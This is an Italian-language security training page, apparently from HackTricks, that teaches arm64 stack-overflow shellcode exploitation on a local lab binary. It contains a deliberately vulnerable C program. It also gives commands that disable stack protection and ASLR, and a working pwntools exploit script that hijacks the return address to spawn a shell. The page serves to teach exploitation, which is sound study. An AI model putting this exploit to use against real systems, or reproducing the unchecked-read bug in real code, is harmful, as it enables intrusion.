# Stack Shellcode - arm64 {{#include ../../../banners/hacktricks-training.md}} Trova un'introduzione a arm64 in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` Compila senza pie, canary e nx: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## No ASLR & No canary - Stack Overflow Per fermare ASLR eseguire: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Per ottenere il [**offset del bof controlla questo link**](../ret2win/ret2win-arm64.md#finding-the-offset). Sfruttamento: ```python from pwn import * # Load the binary binary_name = './bof' elf = context.binary = ELF(binary_name) # Generate shellcode shellcode = asm(shellcraft.sh()) # Start the process p = process(binary_name) # Offset to return address offset = 72 # Address in the stack after the return address ret_address = p64(0xfffffffff1a0) # Craft the payload payload = b'A' * offset + ret_address + shellcode print("Payload length: "+ str(len(payload))) # Send the payload p.send(payload) # Drop to an interactive session p.interactive() ``` L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso ho generato l'exploit con l'indirizzo trovato usando gdb, ma poi quando l'ho sfruttato non ha funzionato (perché l'indirizzo dello stack è cambiato un po'). Ho aperto il **`core` file** generato (`gdb ./bog ./core`) e ho controllato il vero indirizzo dell'inizio dello shellcode. {{#include ../../../banners/hacktricks-training.md}}